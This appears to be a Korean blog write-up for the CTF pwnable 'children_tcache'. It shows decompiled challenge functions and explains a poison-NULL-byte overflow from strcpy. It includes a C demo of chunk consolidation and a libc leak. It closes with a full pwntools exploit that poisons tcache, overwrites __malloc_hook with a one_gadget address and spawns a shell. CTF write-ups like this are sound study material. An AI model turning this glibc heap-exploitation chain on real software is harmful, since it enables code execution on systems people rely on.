Content
tcache poision NULL byte
last remainer
Analysis
unsigned __int64 new_heap()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *ptr; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !pointers[i] )
break;
}
printf("Size:");
size = read_atoll();
if ( size > 0x2000 )
exit(-2);
ptr = (char *)malloc(size);
if ( !ptr )
exit(-1);
printf("Data:");
read_data((__int64)&s, size);
strcpy(ptr, &s);
pointers[i] = ptr;
sizes[i] = size;
return __readfsqword(0x28u) ^ v5;
}
int show_heap()
{
const char *v0; // rax
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
printf("Index:");
v2 = read_atoll();
if ( v2 > 9 )
exit(-3);
v0 = pointers[v2];
if ( v0 )
LODWORD(v0) = puts(pointers[v2]);
return (signed int)v0;
}
int delete_heap()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
printf("Index:");
v1 = read_atoll();
if ( v1 > 9 )
exit(-3);
if ( pointers[v1] )
{
memset((void *)pointers[v1], 0xDA, sizes[v1]);
free((void *)pointers[v1]);
pointers[v1] = 0LL;
sizes[v1] = 0LL;
}
return puts(":)");
}
가능한 것
청크를 힙에 만들고, 데이터를 씀
청크를 지움
청크 안의 데이터를 출력함
new_heap
함수에서 local variable
에 값을 입력받고, 이를 strcpy
를 사용해 heap chunk
에 넣어주는데, 여기서 poision NULL byte
가 발생한다.
청크는 최대 10개까지 할당할 수 있으며, 요청 가능한 최대 사이즈는 0x2000
이다.
Description
int main()
{
// alocate 3 chunks
char *a = malloc(0x108);
char *b = malloc(0xf8);
char *c = malloc(0xf8);
printf("a: %p\n",a);
printf("b: %p\n",b);
free(a);
// poision NULL byte 발생
b[0xf8] = '\x00'; // c의 prev_inuse는 0이됨
*(long*)(b+0xf0) = 0x210; // c의 prev_size를 0x210으로
// c의 prev_inuse = 0, prev_size = 0x210 이므로 consolidate됨
// a와 b는 unsorted bin으로 들어감
free(c);
// a|b|c 위치에 두개의 청크 할당
char *A = malloc(0x108);
char *B = malloc(0xF8);
printf("A: %p\n",A);
printf("B: %p\n",B);
free(b);
// libc leak
printf("B content: %p\n",((long*)B)[0]);
}
설명 그대로의 느낌.
Exploit
from pwn import *
#context.log_level = "debug"
binary = "./children_tcache"
e = ELF(binary)
libc = e.libc
r = process(binary,aslr=False)
sl = sleep(0.1)
go2 = lambda x : r.sendlineafter(":",str(x))
go = lambda x : r.sendafter(":",str(x))
def new(size,data):
go(1)
sl
go2(size)
sl
go(data)
sl
if len(data) < size:
r.sendline()
def show(index):
go(2)
sl
go(index)
def delete(index):
go(3)
sl
go(index)
new(0x500,"AAAA")
new(0x68,"BBBB")
new(0x5f0,"CCCC")
new(0x20,"DDDD")
delete(1)
delete(0)
for i in range(6):
new(0x68-i,"B"*(0x68-i))
delete(0)
new(0x68,"B"*0x60 + p64(0x580))
delete(2)
new(0x508,"EEEE")
show(0)
libc_base = u64(r.recvuntil("\x15")[-6:] + "\x00\x00")
libc_base -= 0x3ebca0 # main_arena + 96
log.info("libc_base : " + hex(libc_base))
new(0x68,"FFFF")
delete(0)
delete(2)
new(0x68,p64(libc_base + libc.symbols["__malloc_hook"]))
new(0x68,"GGGG")
new(0x68,p64(libc_base + 0x4f322))
go(1)
go2(123)
r.interactive()
청크 많이 만들어놓고 탑청크 병합안되게 설정.
그리고 대에에에충 prev_size
에 박힌 이상한값 for돌면서 지워줌
last remainer이용해서 릭하고 값쓰고 하면 끝
Reference
'System Hacking ( pwnable ) > CTF Write-up' 카테고리의 다른 글
[d^ctf] babyrop ( write-up ) (0) | 2020.02.27 |
---|---|
[codegate] 7amebox1 ( write-up ) (0) | 2020.02.26 |
[SECCON] Secure Keymanager ( write-up ) (0) | 2019.12.12 |
[SECCON] video player ( write-up ) (0) | 2019.12.11 |
[ASIS CTF] asvdb ( write-up ) (0) | 2019.12.08 |